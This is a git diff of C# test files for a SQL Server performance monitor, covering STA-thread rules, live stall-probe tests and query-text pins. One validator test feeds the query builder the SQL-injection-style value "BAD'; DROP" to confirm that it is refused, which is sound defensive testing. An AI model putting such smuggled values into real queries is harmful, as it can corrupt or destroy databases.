+        ["WpfExitSwitchTests.cs"] = "#5598: it needs a WPF STA thread that has ENDED, to time what the process-exit handler does for it; the shared "
+            + "thread never ends. It takes StaTestThread.EnterExclusive() so it cannot overlap a body on the shared thread.",
+    };
+
+    /// <summary>Anti-vacuity: the suite has well over this many files that use the host, so a scan that stopped seeing them fails.</summary>
+    private const int HostUserFloor = 20;
+
+    /// <summary>A method named like the per-file helpers this replaced: OnStaThread, OnStaThread&lt;T&gt;, RunOnStaThread, OnDispatcher.</summary>
+    private static readonly Regex s_helperDefinition = new(
+        @"\bstatic\s+[\w<>\[\]?,\.\s()]+?\b(?:Run)?On(?:Sta(?:Thread)?|Dispatcher|UiThread)\s*(?:<\w+>)?\s*\(", RegexOptions.Compiled);
+
+    [Fact]
+    public void NoTestFileOutsideTheAllowList_StartsItsOwnStaThread_DefinesAnStaHelper_OrRunsADispatcher()
+    {
+        var violations = new List<string>();
+        var hostUsers = 0;
+        foreach (var (rel, text) in TestFiles())
+        {
+            if (text.Contains("StaTestThread.Run", StringComparison.Ordinal))
+            {
+                hostUsers++;
+            }
+
+            if (Allowed.ContainsKey(Path.GetFileName(rel)))
+            {
+                continue;
+            }
+
+            /* Code only: a comment or a string that names the old helper, the dispatcher or the apartment state is not a use of it. */
+            var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+            if (code.Contains(s_sta, StringComparison.Ordinal))
+            {
+                violations.Add(rel + ": starts its own STA thread; run the body in StaTestThread.Run(...) instead");
+            }
+
+            if (s_helperDefinition.IsMatch(code))
+            {
+                violations.Add(rel + ": defines its own OnStaThread-style helper; call StaTestThread.Run(...) directly");
+            }
+
+            if (code.Contains(s_run, StringComparison.Ordinal))
+            {
+                violations.Add(rel + ": runs its own dispatcher; use the async overload StaTestThread.Run(async () => ...)");
+            }
+        }
+
+        Assert.True(
+            violations.Count == 0,
+            "WPF tests share ONE STA thread per test process (#5602). Fix, or add the file to StaThreadCensusTests.Allowed with the reason it must "
+            + "own a thread:" + Environment.NewLine + string.Join(Environment.NewLine, violations));
+        Assert.True(hostUsers >= HostUserFloor, $"only {hostUsers} test files use StaTestThread.Run; the scan has stopped seeing them");
+    }
+
+    [Fact]
+    public void ATestThatOwnsItsThread_TakesTheExclusiveGateAroundIt()
+    {
+        var missing = new List<string>();
+        foreach (var (rel, text) in TestFiles())
+        {
+            var name = Path.GetFileName(rel);
+            if (Allowed.ContainsKey(name) && name is not ("StaTestThread.cs" or "StaTestThreadTests.cs" or "StaThreadCensusTests.cs")
+                && !text.Contains(Exclusive, StringComparison.Ordinal))
+            {
+                missing.Add(rel);
+            }
+        }
+
+        Assert.True(
+            missing.Count == 0,
+            "These tests own their STA thread but do not call " + Exclusive + " first, so they can overlap a body on the shared thread (#5559's race): "
+            + string.Join(", ", missing));
+    }
+
+    [Fact]
+    public void EveryAllowListEntry_SaysWhy()
+    {
+        Assert.All(Allowed, entry => Assert.True(entry.Value.Length >= 20, entry.Key + " is on the allow list without a reason"));
+    }
+
+    private static IEnumerable<(string Rel, string Text)> TestFiles()
+    {
+        var dir = ProjectDir();
+        foreach (var file in Directory.EnumerateFiles(dir, "*.cs", SearchOption.AllDirectories))
+        {
+            var rel = Path.GetRelativePath(dir, file);
+            if (rel.StartsWith("bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                || rel.StartsWith("obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            yield return (rel, File.ReadAllText(file));
+        }
+    }
+
+    private static string ProjectDir([CallerFilePath] string thisFile = "") => Path.GetDirectoryName(thisFile)!;
+}
diff --git a/Darling/Darling.Tests/StallWaitProbeLiveTests.cs b/Darling/Darling.Tests/StallWaitProbeLiveTests.cs
new file mode 100644
index 0000000000..5463248d3e
--- /dev/null
+++ b/Darling/Darling.Tests/StallWaitProbeLiveTests.cs
@@ -0,0 +1,243 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The stall probe's query against a real SQL Server (#5097). Skipped unless <c>DARLING_TEST_SQL</c> is set,
+/// so CI does not run it.
+/// </summary>
+public class StallWaitProbeLiveTests
+{
+    [Fact]
+    public async Task TheProbe_CountsAPlantedWaitforAsIdle_AndStillSeesOurOwnSessionWaiting()
+    {
+        var sqlHost = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(sqlHost),
+            "Set DARLING_TEST_SQL to run the live stall probe test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var sqlUser = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_USER");
+        var config = new MonitoredServer
+        {
+            Name = "darling-stall-probe-e2e",
+            Host = sqlHost!,
+            Auth = string.IsNullOrEmpty(sqlUser) ? "integrated" : "sql",
+            Username = sqlUser,
+            Password = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD"),
+            TrustServerCertificate = true,
+        };
+
+        var runtime = await DarlingServerConnector.ConnectAsync(config, logger: null, ct);
+        Assert.SkipWhen(runtime.Target.IsAzureSqlDb, "The planted WAITFOR session is not visible across an Azure SQL Database pool.");
+
+        /* One session of ours sits in a fresh WAITFOR, a user-task wait. */
+        await using var waiter = new SqlConnection(runtime.ConnectionString);
+        await waiter.OpenAsync(ct);
+        await using var waitCommand = new SqlCommand("WAITFOR DELAY '00:00:20';", waiter) { CommandTimeout = 60 };
+        var waiting = waitCommand.ExecuteNonQueryAsync(ct);
+
+        try
+        {
+            await Task.Delay(TimeSpan.FromSeconds(2), ct);
+
+            /* A second connection with the same application name runs the probe query. */
+            await using var probe = new SqlConnection(runtime.ConnectionString);
+            await probe.OpenAsync(ct);
+            await using var command = new SqlCommand(StallWaitProbePolicy.QueryText, probe) { CommandTimeout = 10 };
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            var sample = await StallWaitProbePolicy.ReadAsync(reader, ct);
+
+            Assert.NotNull(sample);
+            Assert.True(sample!.BackgroundWaitingTasks > 0, "every instance has idle background waiters when the login holds VIEW SERVER STATE; a login without that permission sees none");
+            Assert.NotNull(sample.WaitSummary);
+
+            /* WAITFOR is on the shared idle list: the planted session is counted in the tail, not ranked. */
+            Assert.DoesNotContain("WAITFOR:", sample.WaitSummary, StringComparison.Ordinal);
+            Assert.NotEqual("WAITFOR", sample.TopWaitType);
+            Assert.Matches(@"idle [1-9]\d* tasks/[1-9]\d* types", sample.WaitSummary);
+            Assert.True(sample.CollectorSessions >= 1, "our planted session should be visible by program and host");
+            Assert.Equal("WAITFOR", sample.CollectorWaitType);
+        }
+        finally
+        {
+            try
+            {
+                await waiting;
+            }
+            catch (SqlException)
+            {
+                /* The 20-second delay ending is all this waits for. */
+            }
+        }
+    }
+
+    /// <summary>
+    /// An idle wait does not rank as the top user-task wait (#5267). One connection runs
+    /// <c>sp_server_diagnostics</c>, which repeats and sits in <c>SP_SERVER_DIAGNOSTICS_SLEEP</c> on an
+    /// <c>is_user_process = 1</c> session, exactly as the availability-group health check does. A second
+    /// connection blocks on a lock a third holds. The real probe query must rank the lock wait first and count
+    /// the idle wait in the tail rather than in the ranking.
+    /// </summary>
+    [Fact]
+    public async Task TheProbe_RanksALockWait_AboveSpServerDiagnosticsSleep_AndCountsTheIdleWait()
+    {
+        var sqlHost = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(sqlHost),
+            "Set DARLING_TEST_SQL to run the live stall probe test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var sqlUser = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_USER");
+        var config = new MonitoredServer
+        {
+            Name = "darling-stall-probe-idle-e2e",
+            Host = sqlHost!,
+            Auth = string.IsNullOrEmpty(sqlUser) ? "integrated" : "sql",
+            Username = sqlUser,
+            Password = Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD"),
+            TrustServerCertificate = true,
+        };
+
+        var runtime = await DarlingServerConnector.ConnectAsync(config, logger: null, ct);
+        Assert.SkipWhen(runtime.Target.IsAzureSqlDb, "The planted sessions are not visible across an Azure SQL Database pool.");
+
+        await using var holder = new SqlConnection(runtime.ConnectionString);
+        await holder.OpenAsync(ct);
+        await using var blocked = new SqlConnection(runtime.ConnectionString);
+        await blocked.OpenAsync(ct);
+        await using var diagnostics = new SqlConnection(runtime.ConnectionString);
+        await diagnostics.OpenAsync(ct);
+
+        var table = "tempdb.dbo.stall_probe_5267_" + Guid.NewGuid().ToString("N");
+        await using var block = new SqlCommand("SELECT id FROM " + table + " WITH (READCOMMITTEDLOCK);", blocked) { CommandTimeout = 120 };
+        await using var diag = new SqlCommand("EXEC sp_server_diagnostics 5;", diagnostics) { CommandTimeout = 0 };
+        Task? blockedTask = null;
+        Task? diagnosticsTask = null;
+        SqlTransaction? held = null;
+        var diagnosticsSpid = 0;
+        var blockedSpid = 0;
+        await using (var spid = new SqlCommand("SELECT CONVERT(integer, @@SPID);", diagnostics))
+        {
+            diagnosticsSpid = (int)(await spid.ExecuteScalarAsync(ct))!;
+        }
+
+        await using (var spid = new SqlCommand("SELECT CONVERT(integer, @@SPID);", blocked))
+        {
+            blockedSpid = (int)(await spid.ExecuteScalarAsync(ct))!;
+        }
+
+        try
+        {
+            await using (var create = new SqlCommand("CREATE TABLE " + table + " (id integer NOT NULL); INSERT " + table + " VALUES (1);", holder))
+            {
+                await create.ExecuteNonQueryAsync(ct);
+            }
+
+            /* The third connection holds an exclusive lock for the rest of the test. */
+            held = holder.BeginTransaction();
+            await using (var hold = new SqlCommand("UPDATE " + table + " SET id = 2;", holder, held))
+            {
+                await hold.ExecuteNonQueryAsync(ct);
+            }
+
+            blockedTask = block.ExecuteScalarAsync(CancellationToken.None);
+            diagnosticsTask = diag.ExecuteNonQueryAsync(CancellationToken.None);
+
+            /* Long enough for the lock wait to build and for the diagnostics procedure to be in its sleep. */
+            await Task.Delay(TimeSpan.FromSeconds(3), ct);
+
+            await using var probe = new SqlConnection(runtime.ConnectionString);
+            await probe.OpenAsync(ct);
+            await using var command = new SqlCommand(StallWaitProbePolicy.QueryText, probe) { CommandTimeout = 10 };
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            var sample = await StallWaitProbePolicy.ReadAsync(reader, ct);
+
+            Assert.NotNull(sample);
+            Assert.NotNull(sample!.TopWaitType);
+            Assert.StartsWith("LCK_M_", sample.TopWaitType, StringComparison.Ordinal);
+            Assert.NotNull(sample.WaitSummary);
+            Assert.DoesNotContain("SP_SERVER_DIAGNOSTICS_SLEEP:", sample.WaitSummary, StringComparison.Ordinal);
+
+            var idle = Regex.Match(sample.WaitSummary!, @"idle (\d+) tasks/(\d+) types");
+            Assert.True(idle.Success, "the tail names the idle waits: " + sample.WaitSummary);
+            Assert.True(long.Parse(idle.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture) >= 1, "the diagnostics session's idle wait is counted: " + sample.WaitSummary);
+            Assert.True(int.Parse(idle.Groups[2].Value, System.Globalization.CultureInfo.InvariantCulture) >= 1);
+
+            /* The total counts every waiting task, and covers the three disjoint buckets: the background tasks,
+               the idle ones the ranking dropped, and the ranked waits. Anything else waiting only adds to it. */
+            var idleTasks = long.Parse(idle.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture);
+            var rankedTasks = Regex.Matches(sample.WaitSummary!, @"(?:^|; )[A-Z0-9_]+:(\d+)x/\d+ms")
+                .Cast<Match>().Sum(m => long.Parse(m.Groups[1].Value, System.Globalization.CultureInfo.InvariantCulture));
+            Assert.True(rankedTasks >= 1, "the lock wait is ranked: " + sample.WaitSummary);
+            Assert.True(
+                sample.WaitingTaskCount >= sample.BackgroundWaitingTasks + idleTasks + rankedTasks,
+                $"total {sample.WaitingTaskCount} covers background {sample.BackgroundWaitingTasks} + idle {idleTasks} + ranked {rankedTasks}: {sample.WaitSummary}");
+        }
+        finally
+        {
+            held?.Rollback();
+
+            /* KILL ends both waiting sessions at once; sp_server_diagnostics repeats until it is stopped. */
+            foreach (var victim in new[] { diagnosticsSpid, blockedSpid })
+            {
+                try
+                {
+                    await using var kill = new SqlCommand("KILL " + victim.ToString(System.Globalization.CultureInfo.InvariantCulture) + ";", holder);
+                    await kill.ExecuteNonQueryAsync(CancellationToken.None);
+                }
+                catch (SqlException)
+                {
+                    /* The session may already be gone. */
+                }
+            }
+
+            foreach (var task in new[] { blockedTask, diagnosticsTask })
+            {
+                if (task is null)
+                {
+                    continue;
+                }
+
+                try
+                {
+                    await task;
+                }
+                catch (Exception ex) when (ex is SqlException or OperationCanceledException)
+                {
+                    /* Cancelling the two waiting sessions is all this waits for. */
+                }
+            }
+
+            try
+            {
+                await using var drop = new SqlCommand("DROP TABLE IF EXISTS " + table + ";", holder);
+                await drop.ExecuteNonQueryAsync(CancellationToken.None);
+            }
+            catch (SqlException)
+            {
+                /* The table lives in tempdb and goes with the next restart. */
+            }
+
+            /* The two KILLed connections are dead on the server. Disposed as they are, they return to the pool
+               and a later test with the same connection string can draw one. ClearPool dooms the pooled
+               connections and discards the in-use ones when they close, so none is reused. */
+            SqlConnection.ClearPool(diagnostics);
+            SqlConnection.ClearPool(blocked);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StallWaitProbeQueryTextPinTests.cs b/Darling/Darling.Tests/StallWaitProbeQueryTextPinTests.cs
new file mode 100644
index 0000000000..2c1dc59a37
--- /dev/null
+++ b/Darling/Darling.Tests/StallWaitProbeQueryTextPinTests.cs
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using ModelContextProtocol.Server;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The stall probe's idle-wait list (#5267) against the shared <c>IgnoredWaitDefaults.All</c> set. The list is
+/// rendered into the probe's T-SQL as literals, and a name that is not a plain wait name is refused. Lite.Tests
+/// pins the same facts, but CI does not run Lite.Tests on a Darling-only change, so this class is what stops a
+/// bad entry added to the shared set from reaching a release.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class StallWaitProbeQueryTextPinTests
+{
+    /// <summary>
+    /// Every name in the shared set renders: it is a plain upper-case wait name, and the rendered text holds it
+    /// as a literal exactly once, because the list is rendered a single time.
+    /// </summary>
+    [Fact]
+    public void EveryIgnoredWaitName_IsAPlainWaitName_AndIsRenderedIntoTheProbeText()
+    {
+        var sql = StallWaitProbePolicy.QueryText;
+
+        /* The list is the leading derived set; the scheduler filter further down has a literal of its own. */
+        var list = sql.Substring(0, sql.IndexOf("SELECT /* PerformanceMonitorDarling", StringComparison.Ordinal));
+
+        Assert.NotEmpty(IgnoredWaitDefaults.All);
+        Assert.All(IgnoredWaitDefaults.All, name => Assert.Matches("^[A-Z0-9_]+$", name));
+
+        foreach (var name in IgnoredWaitDefaults.All)
+        {
+            Assert.Single(Regex.Matches(sql, "N'" + Regex.Escape(name) + "'"));
+            Assert.Contains("N'" + name + "'", list, StringComparison.Ordinal);
+        }
+
+        Assert.Equal(
+            IgnoredWaitDefaults.All.OrderBy(n => n, StringComparer.Ordinal).ToList(),
+            Regex.Matches(list, "N'([^']*)'").Select(m => m.Groups[1].Value).ToList());
+    }
+
+    /// <summary>
+    /// A bad entry fails the BUILDER, with the documented exception, for a quote, a lower-case name, a trailing
+    /// space, an empty name, a null and an empty list.
+    /// </summary>
+    [Theory]
+    [InlineData("BAD'; DROP")]
+    [InlineData("lower_case")]
+    [InlineData("TRAILING_SPACE ")]
+    [InlineData("")]
+    [InlineData(null)]
+    public void ABadEntry_IsRefusedByTheBuilder_WithTheDocumentedException(string? bad)
+    {
+        Assert.Throws<InvalidOperationException>(() => StallWaitProbePolicy.BuildQueryText(new[] { "OK_WAIT", bad! }));
+        Assert.Throws<InvalidOperationException>(() => StallWaitProbePolicy.BuildQueryText(Array.Empty<string>()));
+    }
+
+    /// <summary>
+    /// The refusal reaches only the probe-text path. The policy's own members, which every budgeted collector
+    /// uses, do not render the list, so a bad entry cannot make them throw. This is the property the text
+    /// being a lazy holder (and not a static field of the policy) exists to give.
+    /// </summary>
+    [Fact]
+    public void ABadEntry_FailsOnlyTheTextPath_NotThePolicy()
+    {
+        /* The builder throws... */
+        Assert.Throws<InvalidOperationException>(() => StallWaitProbePolicy.BuildQueryText(new[] { "bad name" }));
+
+        /* ...and the policy is still usable beside it: nothing but QueryText calls the builder with the shared
+           set, and QueryText is read inside the probe's try block. */
+        Assert.True(StallWaitProbePolicy.HardBudget > TimeSpan.Zero);
+        Assert.NotEmpty(StallWaitProbePolicy.Outcomes);
+        Assert.Contains(StallWaitProbePolicy.OutcomeQueryFailed, StallWaitProbePolicy.Outcomes);
+
+        /* Structurally: the policy's type initialiser never calls the builder, so no entry in the shared set
+           can fail it. A static field initialised with BuildQueryText() would put the call back in it. */
+        Assert.False(TypeInitialiserCallsBuilder(), "the policy's type initialiser renders the query text");
+    }
+
+    /// <summary>
+    /// The tool text names the three generations of stall-probe row (#5267): the guide tail, which tools/list
+    /// does not serve, says a tail without the idle part is from a build that still ranked idle waits. The head
+    /// (the part tools/list serves) is pinned in length by McpToolsListBudgetTests and here by content.
+    /// </summary>
+    [Fact]
+    public void TheGuideTail_SaysARowWithoutTheIdlePart_RankedIdleWaits_AndTheHeadIsUntouched()
+    {
+        var method = typeof(DarlingMcpStallProbeTools)
+            .GetMethods(BindingFlags.Public | BindingFlags.Static)
+            .Single(m => m.GetCustomAttribute<McpServerToolAttribute>()?.Name == "get_collector_stall_probes");
+        var (head, tail) = McpToolGuide.Split(method.GetCustomAttribute<DescriptionAttribute>()!.Description);
+
+        Assert.NotNull(tail);
+        Assert.Contains("A tail without 'idle K tasks/J types' is from a build that still ranked idle waits.", tail, StringComparison.Ordinal);
+
+        /* The head is byte-identical to dev's: same length (the budget file pins 595 with the schema) and the
+           same text, and it carries nothing about idle waits. */
+        Assert.StartsWith("Out-of-band DMV samples taken when this service's own collector stalls", head, StringComparison.Ordinal);
+        Assert.EndsWith("Unbanded, untrended: one row is evidence about a moment.", head, StringComparison.Ordinal);
+        Assert.Equal(564, head.Length);
+        Assert.DoesNotContain("idle", head, StringComparison.OrdinalIgnoreCase);
+    }
+
+    private static bool TypeInitialiserCallsBuilder()
+    {
+        var builder = typeof(StallWaitProbePolicy).GetMethod(
+            "BuildQueryText",
+            BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.Public);
+        Assert.NotNull(builder);
+
+        var il = typeof(StallWaitProbePolicy).TypeInitializer!.GetMethodBody()!.GetILAsByteArray()!;
+        var token = BitConverter.GetBytes(builder!.MetadataToken);
+
+        for (var i = 0; i <= il.Length - token.Length; i++)
+        {
+            if (il.AsSpan(i, token.Length).SequenceEqual(token))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
diff --git a/Darling/Darling.Tests/StartupCommandTimeoutTests.cs b/Darling/Darling.Tests/StartupCommandTimeoutTests.cs
index 76f339403c..bc36c852e8 100644
--- a/Darling/Darling.Tests/StartupCommandTimeoutTests.cs
+++ b/Darling/Darling.Tests/StartupCommandTimeoutTests.cs
@@ -24,14 +24,14 @@ namespace Darling.Tests;
 /// deadline (#2874) — the managed-Postgres bootstrap and network reconcile, the in-place major-upgrade
 /// path, least-privilege role provisioning, the delta-baseline re-seed, and the config store's first-run
 /// seed — and so must the commands the collection loop's own SERIAL thread runs ahead of every launch,
-/// which share seven of their call sites with that path and cannot share its number.
+/// which share eight of their call sites with that path and cannot share its number.
 ///
 /// <para><b>Three constants, because the failure modes differ rather than the magnitudes.</b>
 /// <see cref="ServiceCommandDeadlines.BootstrapSeconds"/> covers the un-retried bootstrap sites
 /// (<see cref="ExpectedBootstrapSites"/> of them); <see cref="ServiceCommandDeadlines.BootstrapConnectProbeSeconds"/>
 /// the one inside the bootstrap's six-attempt first-connection retry, where the deadline MULTIPLIES; and
-/// <see cref="ServiceCommandDeadlines.SerialLoopSeconds"/> the ten on the collection loop's serial
-/// thread, where ten sequential commands have to fit inside one watchdog window.</para>
+/// <see cref="ServiceCommandDeadlines.SerialLoopSeconds"/> the twelve on the collection loop's serial
+/// thread, where twelve sequential commands have to fit inside one watchdog window.</para>
 ///
 /// <para><b>This is the regime whose value goes UP, and the pin has to defend that as much as the
 /// number.</b> Two of the four failure handlers on this path are <c>LogCritical</c> followed by
@@ -85,15 +85,17 @@ public sealed class StartupCommandTimeoutTests
     /// <para><b>What is deliberately absent, and why each is a different budget — the token test, member
     /// by member.</b></para>
     ///
-    /// <para><c>StoreConfigProvider.ReadConfigVersionAsync</c> (1 site) and <c>LoadViewAsync</c>'s five
+    /// <para><c>StoreConfigProvider.ReadConfigVersionAsync</c> (1 site) and <c>LoadViewAsync</c>'s six
     /// reads (<c>ReadServiceRowAsync</c>, <c>ReadAlertSettingsAsync</c>, <c>ReadNotificationAsync</c>,
-    /// <c>ReadMonitoredServersAsync</c>, <c>ReadScheduleOverridesAsync</c>),
+    /// <c>ReadNotificationRoutesAsync</c>, <c>ReadMonitoredServersAsync</c>, and
+    /// <c>ReadScheduleOverridesAsync</c>, whose two commands are <c>ReadScheduleRowsAsync</c> and
+    /// <c>ReadRunTimesAsync</c> — seven commands in all),
     /// <c>DarlingObservability.SyncServerEnabledStatesAsync</c>'s two, and
     /// <c>DarlingManagedRoles.ReassertComposeStatementTimeoutAsync</c>'s one are the CONTROL-PLANE
-    /// regime: ten sites awaited inline on the serial collection-loop thread, ahead of every per-server
+    /// regime: eleven sites awaited inline on the serial collection-loop thread, ahead of every per-server
     /// launch, on the 15 s <c>s_sweepInterval</c> tick. Their blast radius is the whole fleet while their
     /// floor is a single-row lookup, they fail OPEN (the live config stands), and their ceiling is the
-    /// tick — a strictly TIGHTER bound on both sides than this group's. Seven of them also run once on
+    /// tick — a strictly TIGHTER bound on both sides than this group's. Nine of them also run once on
     /// the bootstrap path, where <c>DarlingWorker</c> awaits them during startup, and that is exactly why they
     /// are excluded rather than claimed: a deadline is a property of the command, so the tighter of a
     /// dual-caller site's two bounds has to win, and it is not this one.</para>
@@ -154,17 +156,26 @@ private static readonly (string File, string Member, int Bootstrap, int ConnectP
         ("StoreConfigProvider.cs", "SeedServiceRowAsync", 1, 0, 0, 0),
         ("StoreConfigProvider.cs", "SeedAlertSettingsAsync", 1, 0, 0, 0),
         ("StoreConfigProvider.cs", "SeedNotificationAsync", 1, 0, 0, 0),
-        ("StoreConfigProvider.cs", "SeedMonitoredServersAsync", 1, 0, 0, 0),
+        /* #5240: the seed's INSERT loop runs in one transaction behind the identity lock, so the member gained two
+           more bootstrap commands: the lock itself and the read of the addresses already held, both un-retried,
+           both on this deadline. The INSERT is the third. */
+        ("StoreConfigProvider.cs", "SeedMonitoredServersAsync", 3, 0, 0, 0),
 
         /* The serial collection-loop thread: the control-plane reload body plus the disk-check store-size
-           read. Seven of these ten ALSO run once on the bootstrap path above, and take this constant
-           rather than BootstrapSeconds because a dual-caller site has to take the tighter of its two
-           bounds. */
+           read. Nine of these twelve ALSO run once on the bootstrap path above (LoadViewAsync's seven
+           commands and SyncServerEnabledStatesAsync's two), and take this constant rather than
+           BootstrapSeconds because a dual-caller site has to take the tighter of its two bounds. */
         ("StoreConfigProvider.cs", "ReadServiceRowAsync", 0, 0, 1, 0),
         ("StoreConfigProvider.cs", "ReadAlertSettingsAsync", 0, 0, 1, 0),
         ("StoreConfigProvider.cs", "ReadNotificationAsync", 0, 0, 1, 0),
+        /* The notification routes LoadViewAsync reads between the notification settings and the monitored
+           servers: one command on this constant, and it runs once on the bootstrap path too. */
+        ("StoreConfigProvider.cs", "ReadNotificationRoutesAsync", 0, 0, 1, 0),
         ("StoreConfigProvider.cs", "ReadMonitoredServersAsync", 0, 0, 1, 0),
-        ("StoreConfigProvider.cs", "ReadScheduleOverridesAsync", 0, 0, 1, 0),
+        /* #4938: the schedule read is two commands, the sparse schedule rows and the run times from their own table,
+           each on this constant. ReadScheduleOverridesAsync only layers one onto the other and builds no command. */
+        ("StoreConfigProvider.cs", "ReadScheduleRowsAsync", 0, 0, 1, 0),
+        ("StoreConfigProvider.cs", "ReadRunTimesAsync", 0, 0, 1, 0),
         ("DarlingObservability.cs", "SyncServerEnabledStatesAsync", 0, 0, 2, 0),
         ("DarlingManagedRoles.cs", "ReassertComposeStatementTimeoutAsync", 0, 0, 1, 0),
         ("DarlingWorker.cs", "ReadStoreSizeBytesAsync", 0, 0, 1, 0),
@@ -181,11 +192,11 @@ hold. It is a single-row INSERT into the same collect.collection_log #2928 bound
     };
 
     /// <summary>The group's own totals, so a member that stops creating commands fails loudly.</summary>
-    private const int ExpectedBootstrapSites = 34;
+    private const int ExpectedBootstrapSites = 36;
 
     private const int ExpectedConnectProbeSites = 1;
 
-    internal const int ExpectedSerialLoopSites = 10;
+    internal const int ExpectedSerialLoopSites = 12;
 
     /// <summary>
     /// The serial-loop regime's members, projected out of the census above so a second pin over the same
@@ -193,10 +204,10 @@ hold. It is a single-row INSERT into the same collect.collection_log #2928 bound
     ///
     /// <para>Read by <see cref="SerialLoopStoreSizeSourceTests"/>, which asserts a property of what these
     /// members RUN rather than of the deadline they set. Exposed as a projection rather than as a second
-    /// list because a hand-copied enumeration of ten members is a counted claim with a numeral welded on:
+    /// list because a hand-copied enumeration of eleven members is a counted claim with a numeral welded on:
     /// it would keep passing over nine of them after the tenth moved, and the pin's message would name the
-    /// wrong population. The per-member SITE COUNT travels with it for the same reason: nine members
-    /// hold the regime's ten commands (<c>SyncServerEnabledStatesAsync</c> builds two), so a consumer
+    /// wrong population. The per-member SITE COUNT travels with it for the same reason: eleven members
+    /// hold the regime's twelve commands (<c>SyncServerEnabledStatesAsync</c> builds two), so a consumer
     /// counting members would silently disagree with <see cref="ExpectedSerialLoopSites"/> and could
     /// not tell a dropped member from that arithmetic.</para>
     /// </summary>
@@ -529,7 +540,7 @@ public void TheConnectProbeDeadline_SurvivesItsOwnRetryMultiplier()
     ///
     /// <para><b>What this no longer claims.</b> The old product forbade 6; nothing in the service does.
     /// The answer to "why 5, and what would justify 6" is that 5 is a measured floor with three ceilings
-    /// over it — the tick, Npgsql's default, and the bootstrap's number for the seven dual-caller sites —
+    /// over it — the tick, Npgsql's default, and the bootstrap's number for the eight dual-caller sites —
     /// and 6 clears all three as well. Raising it costs delivered cadence in proportion, which is a trade
     /// to argue rather than an inequality to lose.</para>
     /// </summary>
@@ -588,13 +599,13 @@ the worst tick and cannot be re-derived as its sum. */
         Assert.True(
             seconds < ServiceCommandDeadlines.BootstrapSeconds,
             $"serial-loop deadline {seconds}s is not tighter than the bootstrap's "
-            + $"{ServiceCommandDeadlines.BootstrapSeconds}s. Seven of these ten sites ALSO run once on "
+            + $"{ServiceCommandDeadlines.BootstrapSeconds}s. Nine of these twelve sites ALSO run once on "
             + "the bootstrap path, and a dual-caller site must take the tighter of its two bounds — if "
-            + "this is not the tighter one, those seven are on the wrong constant");
+            + "this is not the tighter one, those nine are on the wrong constant");
     }
 
     /// <summary>
-    /// <see cref="ConstructionSpan"/> is what thirty-seven sites' correctness is asserted through, so its
+    /// <see cref="ConstructionSpan"/> is what forty-eight sites' correctness is asserted through, so its
     /// own edges are pinned. The fixtures are shapes that OCCUR in the members above, and the fourth is
     /// the one that matters: the <c>using (...) { ...; }</c> block whose neighbour a two-statement window
     /// would borrow, which is the real shape of <c>BridgeTimescaleAsync</c>. The last fixture covers the
diff --git a/Darling/Darling.Tests/StateSelfAlertTests.cs b/Darling/Darling.Tests/StateSelfAlertTests.cs
new file mode 100644
index 0000000000..305aed064f
--- /dev/null
+++ b/Darling/Darling.Tests/StateSelfAlertTests.cs
@@ -0,0 +1,491 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Alerting;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5493: a self-alert for a LASTING state sends one alert per occurrence, not one per cooldown. Collection Stopped
+/// took the "Server Unreachable" shape in #5489 (<see cref="ConnectionAlertPolicy"/>: one alert on entry, a repeat only
+/// per <c>connection_refire_minutes</c>, a send again only for an alert no channel took); these are the other alerts
+/// whose condition stays until someone acts. Driven through the real arms with a scripted deliverer and a clock the
+/// test moves, one [Theory] over the alerts so each gets the same four cases:
+/// one alert across many cooldowns with repeats off, a repeat per interval with repeats on, a new alert after the
+/// condition ended and started again, and a send again for an alert no channel took.
+/// </summary>
+public sealed class StateSelfAlertTests
+{
+    private const int ServerId = 424242;
+    private const string Name = "STATE-ALERT-SRV";
+
+    private static CancellationToken Ct => TestContext.Current.CancellationToken;
+
+    private static readonly DateTime Start = new(2026, 7, 1, 12, 0, 0, DateTimeKind.Utc);
+
